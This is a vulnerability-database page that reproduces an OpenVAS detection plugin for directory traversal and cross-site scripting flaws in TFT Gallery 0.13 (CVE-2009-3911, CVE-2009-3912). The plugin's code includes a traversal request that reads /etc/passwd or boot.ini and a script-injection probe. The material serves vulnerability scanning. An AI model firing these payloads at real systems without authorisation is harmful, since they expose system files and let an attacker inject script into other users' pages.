Lucene search
K

TFT Gallery XSS And Directory Traversal Vulnerabilities

🗓️ 17 Nov 2009 00:00:00Reported by Copyright (C) 2009 SecPodType 
openvas
 openvas
🔗 plugins.openvas.org👁 24 Views

TFT Gallery XSS And Directory Traversal Vulnerabilities. Impact Level: Application. Error exists in input validation

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-3911
2 Nov 200900:00
circl
Circl
CVE-2009-3912
2 Nov 200900:00
circl
CVE
CVE-2009-3911
9 Nov 200917:00
cve
CVE
CVE-2009-3912
9 Nov 200917:00
cve
Cvelist
CVE-2009-3911
9 Nov 200917:00
cvelist
Cvelist
CVE-2009-3912
9 Nov 200917:00
cvelist
EUVD
EUVD-2009-3882
7 Oct 202500:30
euvd
EUVD
EUVD-2009-3883
7 Oct 202500:30
euvd
NVD
CVE-2009-3911
9 Nov 200917:30
nvd
NVD
CVE-2009-3912
9 Nov 200917:30
nvd
Rows per page
###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_tftgallery_mult_vuln_nov09.nasl 5122 2017-01-27 12:16:00Z teissa $
#
# TFT Gallery XSS And Directory Traversal Vulnerabilities
#
# Authors:
# Nikita MR <[email protected]>
#
# Copyright:
# Copyright (c) 2009 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow remote attackers to disclose
sensitive information and conduct cross-site scripting attacks.

Impact Level: Application";

tag_affected = "TFT Gallery version 0.13 and prior on all platforms.";

tag_insight = "
- Error exists when input passed via the 'sample' parameter to
settings.php is not properly sanitised before being returned to the user. This
can be exploited to execute arbitrary HTML and script code or conduct XSS attacks.

- Input passed via the 'album' parameter to index.php is not properly
  verified before being used to include files via a '../'. This can be
  exploited to include arbitrary files from local resources via directory
  traversal attacks and URL-encoded NULL bytes.";

tag_solution = "Upgrade to version 0.13.1 or later,
For updates refer to http://www.tftgallery.org";

tag_summary = "This host is installed with TFT Gallery and is prone to Cross-
Site Scripting and Directory Traversal vulnerabilities.";

if(description)
{
  script_id(900974);
  script_version("$Revision: 5122 $");
  script_tag(name:"last_modification", value:"$Date: 2017-01-27 13:16:00 +0100 (Fri, 27 Jan 2017) $");
  script_tag(name:"creation_date", value:"2009-11-17 15:16:05 +0100 (Tue, 17 Nov 2009)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2009-3911", "CVE-2009-3912");
  script_bugtraq_id(36898, 36899);
  script_name("TFT Gallery XSS And Directory Traversal Vulnerabilities");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/37156");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/54087");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/0911-exploits/tftgallery-traversal.txt");

  script_tag(name:"qod_type", value:"remote_banner");
  script_category(ACT_GATHER_INFO);
  script_copyright("Copyright (C) 2009 SecPod");
  script_family("Web application abuses");
  script_dependencies("tftgallery_detect.nasl");
  script_require_ports("Services/www", 80);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}


include("http_func.inc");
include("version_func.inc");

tftPort = get_http_port(default:80);
if(!tftPort){
  exit(0);
}

tftVer = get_kb_item(string("www/", tftPort, "/tftgallery"));
tftVer = eregmatch(pattern:"^(.+) under (/.*)$", string:tftVer);

if((tftVer[2] != NULL) && !safe_checks())
{
  foreach dir (make_list("etc/passwd", "boot.ini"))
  {
    sndReq = http_get(item:tftVer[2] + "/index.php?album=../../../../../../" +
                           "../../../../" + dir + "%00&page=1>", port:tftPort);
    rcvRes = http_send_recv(port:tftPort, data:sndReq);

    if(rcvRes =~ "root:x:0:[01]:.*" || (rcvRes =~ "\[boot loader\]"))
    {
      security_message(port:tftPort);
      exit(0);
    }
  }

  sndReq = http_get(item:tftVer[2]+"/settings.php?sample='></link><script>alert"+
                         "('OpenVAS-XSS-TEST')</script>&amp;name=cucumber cool",
                    port:tftPort);
  rcvRes = http_send_recv(port:tftPort, data:sndReq);

  if(rcvRes =~ "HTTP/1\.. 200" && "OpenVAS-XSS-TEST" >< rcvRes)
  {
    security_message(port:tftPort);
    exit(0);
  }
}

if(tftVer[1] != NULL)
{
  if(version_is_less_equal(version: tftVer[1], test_version:"0.13")){
    security_message(tftPort);
  }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation